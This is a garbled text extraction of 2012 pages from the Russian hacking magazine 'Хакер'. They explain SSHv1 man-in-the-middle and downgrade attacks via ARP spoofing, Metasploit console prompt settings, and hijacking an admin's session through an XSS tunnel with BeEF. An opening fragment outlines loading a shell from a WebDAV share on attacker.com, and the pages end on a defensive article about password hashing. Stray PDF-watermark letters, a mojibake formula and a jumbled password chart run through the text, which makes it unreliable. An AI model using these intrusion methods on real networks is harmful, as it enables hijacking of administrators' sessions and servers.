2.Поснифать на attacker.com трафик и, брутя порты, понять, где есть «дырка».

3.Поднять на данном порту анонимный WebDAV или шару.

4.Выложить на нее шелл и подгрузить его.

5.Радоваться.

ИВОЗНИКАЕТ ЖЕЛАНИЕ ПОДГРУЗИТЬ СКРИПТ С НАШИМ КОНТЕНТОМ. КАК ЭТО СДЕЛАТЬ? СПОСОБОВ ЕСТЬ НЕСКОЛЬКО.

ПОЛУЧИТЬ ЛОГИН И ПАРОЛЬ ОТ SSH

ЗАДАЧА

РЕШЕНИЕ

SSH — один из основных протоколов для удаленного защищенного взаимодействия в Сети, является одним из главных админских интерфейсов. И если атаки на другие интерфейсы (Web, SSL, RDP) мы уже разбирали в Easy Hack, то SSH почему-то обошли стороной. Что ж, исправляемся.

Итак, давай представим простую ситуацию: есть сетка, есть админ, есть сервер с открытым SSH, которым активно пользуется админ для удаленного администрирования. Нам же необходимо получить доступ к данному серваку. И как же это сделать? Ответ: сейчас чаще всего — никак :). Ну, в смысле не совсем никак, но точно не через SSH. Здесь слабое звено стоит искать либо в других сервисах сервера, либо в самом админе… Причины — высокая защищенность последней версии SSH на уровне протокола и малое количество эксплойтов под ПО… Хотя я, наверное, перегибаю палку, говоря «никак». Все же пути есть.

Конечно, первое, что приходит на ум, — bruteforce. Тогда THC Hydra нам в руки и в бой! Но возможно, это и не потребуется, если нам повезет. А наше везение во многом зависит от того, насколько стар атакуемый сервер.

Наш шанс в том, что он будет поддерживать SSH версии 1. Эта версия протокола SSH имеет серьезную проблему, которая позволяет нам, атакующим, провести классическую man-in-the-middle атаку и в итоге видеть незашифрованный трафик.

В общем виде атака представляет собой следующий процесс:

1.Мы проводим ARP-спуфинг между админом и сервером и таким образом контролируем передаваемый трафик.

2.Админ коннектится на сервер по SSH.

3.Сервер отправляет свой открытый ключ клиенту.

4.Мы подменяем этот ключик на свой.

5.Клиент SSH админа выбирает шифрование, генерит сессионный ключ, шифрует его открытым ключом сервера и отправляет его.

Серверов, поддерживающих SSH версии 1, еще много

6.Так как клиент зашифровал сессионный ключ нашим открытым ключом, то мы его расшифровываем и передаем дальше серверу.

7.Зашифрованное соединение на основе сессионного ключа установлено. Но мы знаем этот ключ, а потому можем расшифровывать проходящий через нас трафик.

Этот процесс и показан на рисунке. Фактически данную атаку можно реализовать с помощью Ettercap или Cain.

Теперь же самое важное — как много осталось серверов, которые поддерживают SSH v1? Точно я не скажу, но во время проведения пентестов они систематически попадаются. Сама атака

054

ХАКЕР 09 /164/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Подключение к SSH-1.99 и по SSHv1, и по v2

Схемка MITM для SSH версии 1

стала общеизвестна году так в 2000–2001-м. А потому почти все новые серваки и железки поставляются уже с правильной версией SSH. Но в то же время всякое пятилетнее оборудование может быть уязвимо. Особенно это относится к сетевому оборудованию и все-

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Хакерские секреты простых вещей

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

возможным нестандартным железкам (например, контроллерам), безопасностью которых производители плохо занимаются. Как практический пример — посмотри на shodanhq.com.

Но и это еще не всё. На самом деле не все и не сразу перешли на SSH v2, был и переходный период, когда серверы для обратной совместимости поддерживали и первую, и вторую версии SSH.

И таких серверов тоже есть пучок, и их мы тоже можем атаковать. Здесь нам поможет SSH Downgrade атака.

Чтобы все сразу стало ясно, следует сказать о том, как сервер показывает, какие версии SSH он поддерживает. Все очень просто. При подключении по SSH сервер открытым текстом отвечает клиенту одним из трех видов сообщений:

SSH-1.5 — поддерживается только SSH версии 1;

SSH-1.99 — поддерживаются SSH версии и 1, и 2;

SSH-2.0 — только версия 2.

То есть, просто подключившись к серверу, мы можем понять, насколько он уязвим. Принцип работы SSH Downgrade, я думаю, теперь понятен: когда клиент коннектится к серверу, мы подменяем ответ от сервера (опять же используя MITM) c текста «SSH-1.99» на «SSH-1.5». Клиент думает, что сервер поддерживает только SSHv1, и подключается, используя его.

Конечно, здесь еще многое зависит и от настроек клиентского ПО. Но, например, тот же де-факто стандартный виндовый SSHклиент PuTTY поддерживает SSH версии и 2, и 1 (см. скриншот). Практическую реализацию показывать не буду, так как Cain, например, проводит эту атаку на автомате (downgrade + pass sniff = ARP-SSH-1), когда используется ARP-спуфинг. Если же есть желание самому потренироваться, то вот линк — goo.gl/mqgZY.

НАСТРОИТЬ ПОД СЕБЯ METASPLOIT FRAMEWORK CONSOLE ЗАДАЧА

РЕШЕНИЕ

Metasploit Framework стал одним из главных пентестерских инструментов. Оно и понятно: в него портируется много сторонних тулз, паблик эксплойты постоянно добавляются, расширяется функционал — то есть проект постоянно растет и развивается.

Несмотря на то что у MSF есть несколько видов GUI, очень многие все равно пользуются его консольной версией — msfconsole. Не так давно я обнаружил, что его можно настроить под себя и сделать информативней.

Например, при запуске msfconsole мы видим приглашение «msf>», которое не очень-то полезно. Но оказывается, все можно изменить. В msfconsole есть параметр, который отвечает за то, что будет отображаться. И имя ему — PROMPT. Установка значения переменной осуществляется стандартными командами: «set» — настройка будет применена в рамках данной сессии, «setg» — настройка «навсегда», то есть сохранится в пользовательском конфиге.

Например, следующей командой мы указываем выводить IPадрес в начале каждой команды (что очень удобно, так как сразу понятно, что выводить в LHOST для модулей):

set PROMPT %L

В итоге мы получим примерно следующее:

192.168.0.1>

Кроме %L, которая ответственна за вывод локального IPадреса машины, есть еще и другие. Далее полный список:

%D — путь локальной директории;

%H — hostname атакующего;

%J — количество запущенных модулей (job); %L — IP-адрес атакующего;

%S — количество имеющихся сессий;

%T — timestamp;

%U — имя пользователя, запустившего msf.

Кроме того, есть еще дополнительные фичи. Во-первых, для %T можно указывать формат временных меток, используя еще одну переменную — PromptTimeFormat, с указанием параметров (%d — день, %m — месяц, %y — год и так далее). Во-вторых, для удобства имеется возможность использовать цвета — их достаточно много, и именуются они по первым трем буквам названия на английском: %yel — желтый, %red — красный и так далее. Ну и кроме того, все, что начинается не с %, будет отображаться как текст.

Таким образом, мне кажется, удобная консоль будет иметь настройку (также см. скриншот):

set PROMPT %L %redS:%S J:%J

Локальный IP, количество сессий и jobs’ов

ХАКЕР 09 /164/ 2012

055

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМo m

/EASYHACK

 

wClick

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

ОРГАНИЗОВАТЬ ТУННЕЛЬ ЧЕРЕЗ XSS

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ЗАДАЧА

РЕШЕНИЕ

Итак, опять представим себе ситуацию. Есть сервер с административным веб-интерфейсом, есть админ и есть мы, а хотим мы поовнить данный сервачок. Предположим, что каких-то сверхкритичных уязвимостей на вебе найдено не было, а только, скажем, XSS’ка. И вроде бы все отлично: хватай XSS’кой куки, и вперед! Но как бы не так. Как минимум, проблемой может стать установленный сервером для кукисов флаг HTTPOnly, который не даст нам возможность вынуть их из браузера админа. Другой проблемой может стать фильтрация по IP доступа к веб-серверу или к самой админке. И что же тогда делать? Организовать туннель через XSS. Что бы там ни говорилось о продвинутом использовании XSS’ок, но самым мощным payload’ом, я думаю, является как раз XSS-туннель. Зачем нам аутентификационные куки, когда мы можем напрямую выполнять какие-то действия на сайте от имени нашей жертвы?

Но постой. Давай посмотрим, что же такое XSS-туннелинг. Если говорить в общем, то это специальный JavaScript, который подгружается XSS’кой нашей жертве. Далее этот JS открывает какую-нибудь страницу на атакуемом сайте и полностью ее нам пересылает. Мы видим ее в своем браузере, кликаем, куда нужно, но наши действия не выполняются браузером, а передаются обратно в этот JS, который и произведет необходимые действия на атакуемом сайте, но от имени жертвы. Причем жертва об этом не будет догадываться.

Описание, конечно, очень общее, для понимания идеи. На практике все происходит несколько сложнее, количество элементов несколько больше, и это мы сейчас рассмотрим на примере BeEF.

BeEF — это специальный фреймворк для проведения мощных и глубоких атак на браузеры с использованием XSS’ок. На самом деле, может быть, не очень хорошо получается, что описывать такую прекрасную вещь, как BeEF, мне приходится в несколько строк, ведь она заслуживает отдельной статьи. Но я думаю, что в следующих выпусках мы это поправим.

Итак, BeEF представляет собой трехкомпонентную систему:

1.Браузеры жертв — hoocked browsers. Браузеры, в которые нам удалось подгрузить свой, а точнее BeEF’а, JavaScript-код.

2.Ядро BeEF’а — главное связующее и всеобрабатывающее звено.

3.Интерфейс BeEF’а, к которому атакующий подключается, используя свой браузер, и через который он может «управлять» жертвами. На самом деле не совсем управлять, а скорее запускать те или иные атакующие модули.

Если посмотреть на это в процессе, то атакующий с помощью XSS’ок или просто заманив жертву себе на сайт, подгружает ей в браузер JS BeEF’а. Данный JS «устанавливает соединение»

с ядром фреймворка и ждет от него команд (систематически стучится). Атакующий через интерфейс может указать действие для какого-нибудь из браузеров жертв, выполнить сканирование портов например. Ядро, получив от атакующего команду, переправит к жертве еще дополнительный кусок JS, который исполнит указанную команду (то есть сканирование портов), а результат отправится обратно в ядро. Кроме сканирования портов, можно

влюбой момент подгрузить какой-нибудь эксплойт, например, и захватить контроль над тачкой. На самом деле это очень мощная штука. Получается, что люди как бы садятся на крючок…

Но вернемся к туннелю. Одним из атакующих модулей BeEF’а

является Tunnel Proxy (aka XSS-туннель).

Для того чтобы сделать XSS-туннель, нам потребуется прописать

внашем браузере специальный прокси-сервер от BeEF’а (по умолчанию 127.0.0.1, порт 6789). После этого все клики в нашем браузере (то есть HTTP-запросы) будут обрабатываться этим прокси. Данный прокси, получая запрос от атакующего, модифицирует его специальным образом и переправляет JS модулю BeEF’а в браузере жертвы. Этот модуль выполняет запрос на атакуемый сервер, но от имени заXSS’енной жертвы. Результаты запроса (HTML-страничка) получаются этим JS-модулем BeEF’а и переправляются обратно

вядро BeEF’а. Оттуда данные конвертируются и передаются на BeEF-прокси, который, в свою очередь, отображает страницу для браузера атакующего. То есть фактически атакующий видит то, что «видит» жертва. Далее атакующий может выполнить еще какое-то действие, например ввести какую-нибудь форму и отправить ее. Все эта операция повторится, JS BeEF’а отправит от имени жертвы данный запрос, и результаты его попадут обратно атакующему.

Думаю, что теперь все стало достаточно понятно. Как видишь, это фактически удаленное управление. Теперь о плюсах, минусах и тонкостях. Важно помнить о том, что отправляемые JS-модулем BeEF’а запросы от браузера жертвы на атакуемый веб-сервер (админку) будут содержать аутентификационные куки в заголовках, то есть атакующий будет иметь аналогичный доступ в админке, что и жертва. Во-вторых, большим плюсом здесь является то, что жертва не знает о действиях, которые производит атакующий от ее имени. Это возможно потому, что мы можем, например, заманить жертву к нам на сайт, а на нем в скрытом фрейме открыть сайт-админку и

через XSS’ку в нем подгрузить JS от BeEF’а. И пока жертва будет на нашем сайте, мы можем производить нашу атаку.

Атака становится еще более опасной, когда мы находимся в одном сегменте с админом (жертвой) и можем проводить

MITM-атаку (arp-spoofing, например). В данном случае мы можем вставлять такой скрытый фрейм во все открываемые админом вебстраницы (которые передаются по HTTP) и поддерживать атаку таким образом до победного конца.

Из минусов и тонкостей стоит отметить, во-первых, то, что, в отличие от многих других модулей BeEF’а, при Tunnel Proxy JS BeEF’а должен быть подгружен именно через XSS на атакуемом сайте. Это важно для того, чтобы не нарушать кроссдоменные политики (SOP) и иметь возможность выполнять аутентификационные запросы и получать на них ответы. А во-вторых, так как у нас есть передающее звено (JS-модуль BeEF’а) и мы работаем не напрямую с

сервером, то могут возникнуть трудности практического плана — с отображением контента или не очень корректной работой с запросами, когда используются какие-то странные технологии :).

Опять же, с точки зрения совсем практической, здесь особо рассказывать нечего: требуется выбрать жертву, указать модуль TunnelProxy и настроить свой браузер на прокси BeEF’а. Здесь лучше все своими глазами увидеть (goo.gl/SdHB8), а еще лучше — попробовать своими ручками.

Вот и все, надеюсь было интересно. Успешных ресерчев и познаний нового! z

056

ХАКЕР 09 /164/ 2012

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

d

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

ВЗЛОМm

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

Sanjar Satsura (satsura@1337day.com, twitter.com/sanjar_satsura)w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

Сага

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

окриптостойких

 

 

 

 

 

 

 

 

 

 

 

 

паролях

 

 

 

 

 

 

 

 

 

 

 

 

 

УЧИМСЯ НА ЧУЖИХ ОШИБКАХ И ЗАЩИЩАЕМ ПАРОЛИ ОТ БРУТФОРСА

Защищенный пароль — это не просто длинный набор букв, цифр и символов в разных регистрах. Чтобы реквизиты

пользователей устояли перед банальным брутфорсом, разработчикам нужно продумать сбалансированную и эффективную систему шифрования. Большой компании, чтобы понять это, необходимо столкнуться с утечкой данных, а тебе достаточно просто прочитать статью!

INTRO

Последнее время новостная лента пестрит постами об утечках паролей с крупных ресурсов. Если ты следишь за новостями мира ИБ, то наверняка слышал об утечке 6,46 миллиона хешей паролей крупнейшей социальной сети для профессионалов — LinkedIn (www.linkedin.com). По сей день этот инцидент расследуют самые крутые спецы ФБР. Можно сказать, что последние полгода организация утечек паролей является негласным трендом в кругах анонимусов.

За это время были опубликованы хеши таких популярных ресурсов, как Last.fm, Yahoo Voice, eHarmony, NVIDIA. Небезыз-

вестная компания Rapid 7 провела анализ 165 тысяч хешей, слитых с LinkedIn, и составила инфографику самых популярных (она приложена в качестве иллюстрации к этой статье).

На первый взгляд, пользователи сами виноваты, что используют такие простые для восстановления пароли. Но так ли это? В конечном счете компании удалось расшифровать и проанализировать все

ХАКЕР 09 /164/ 2012

057

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

TOP-30 ПАРОЛЕЙ ИЗ УТЕКШЕЙ БАЗЫ LINKEDIN

941

 

435

 

294

 

214

 

205

 

 

work

 

god

 

 

job

 

 

1234

 

 

 

 

 

 

link

 

 

 

 

 

143

176

 

179

 

 

 

133

angel

 

12345

 

 

 

119

 

the

46

 

45

32

 

 

95

ilove

 

 

 

 

 

 

 

 

 

 

 

 

91

 

sex

 

 

52

48

dragon

soccer

killer

 

jesus

 

 

 

jordan

 

 

 

 

 

 

 

 

 

 

 

 

 

85 connect

 

 

 

60

 

michael

 

32

 

32

 

 

65

 

 

 

31

 

killer

f**k

 

72

d**k

 

 

 

654321

 

 

 

 

 

30

pepper

 

 

 

78

76

b**ch

 

 

29

 

 

 

 

master

 

 

 

devil

28

 

26

26

monkey

123456

 

 

 

princess

 

 

 

 

 

 

 

1234567

 

iloveyou

career

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пароли, как сложные, так и простые. Механизмы защиты паролей, фигурировавшие в историях этих утечек, настолько примитивны, что при желании для восстановления исходных данных можно использовать минимальные ресурсы. Стоит ли в таком случае говорить о том, насколько уязвимыми мы становимся с неустойчивыми хешами, которые легко вскрываются ресурсами китайской ОЕМвидеокарты стоимостью 42 доллара? Возможно ли существенно усложнить злоумышленникам восстановление паролей пользователей с утекшей БД? Возможно! Сегодня я расскажу тебе о том, как снизить риски восстановления паролей из неустойчивых хешей.

АТАКА НА ХЕШИ

Для того чтобы понять, насколько эффективен метод хеширования паролей, давай ознакомимся с существующими способами «восстановления» значения, скрывающегося за хешем. Их не так много, и я думаю, ты слышал обо всех.

1. Брутфорс (Brutforce) — различают основные три типа брутфорса:

тупой (dummy) — перебор всех возможных значений. Этот подход довольно устарел и в чистом виде уже не применяется нигде;

шаблонный (template) — перебор с использованием специальных шаблонов regexp, а также с применением различного рода словарей;

экстремальный (extreme) — перебор при помощи средств GPU. Современные видеокарты, поддерживающие технологию CUDA, AMD OpenCL, позволяют перебирать все возможные комбинации шестизначных паролей меньше чем за минуту, а семизначные — не больше чем за шесть минут. Используя технологии типа CrossFire и Stream, можно и вовсе объединять видеокарты в один массив для более эффективного перебора. Скорость перебора значения при этом может быть рассчитана по формуле:

DZȤșȘȡșș ȖȤșȠȳ (t) ȣșȤșȕȢȤȔ (W)

ȡȔ N-Ƞ ȞȢȟȜȫșȥȦȖș ȖȜȘșȢȞȔȤȦ

t = ((W)/N1 + N2 + N3 + ... + Nn)/2

2.Перебор по «Rainbow tables» (радужные таблицы) — по сути, это тот же перебор, только с использованием заранее сгенерированных специальным образом таблиц. Очень эффективно применять

ОШИБКА НАЧИНАЮЩИХ КРИПТОАНАЛИТИКОВ

Многие начинающие криптоаналитики считают, что схема

SHA1(SHA1(SHA1(..($hash)))) будет добавлять раунды в SHA1.

Все было бы именно так, если бы не одно фундаментальное свойство алгоритма SHA1. Из него следует, что вычислительно невозможно написать такую функцию SHA1000, которая будет эквивалентна

тысячекратному вложенному вызову SHA1 и при этом будет легко вычислима. Обрати внимание, что результат SHA1(SHA1(..($hash))) — это не то же самое, что добавить больше раундов внутрь SHA1, так как там есть еще пре- и постобработка. Результатом такого хеширования может стать невыгодный во всех отношениях расход процессорных ресурсов.

058

ХАКЕР 09 /164/ 2012

Соседние файлы в папке журнал хакер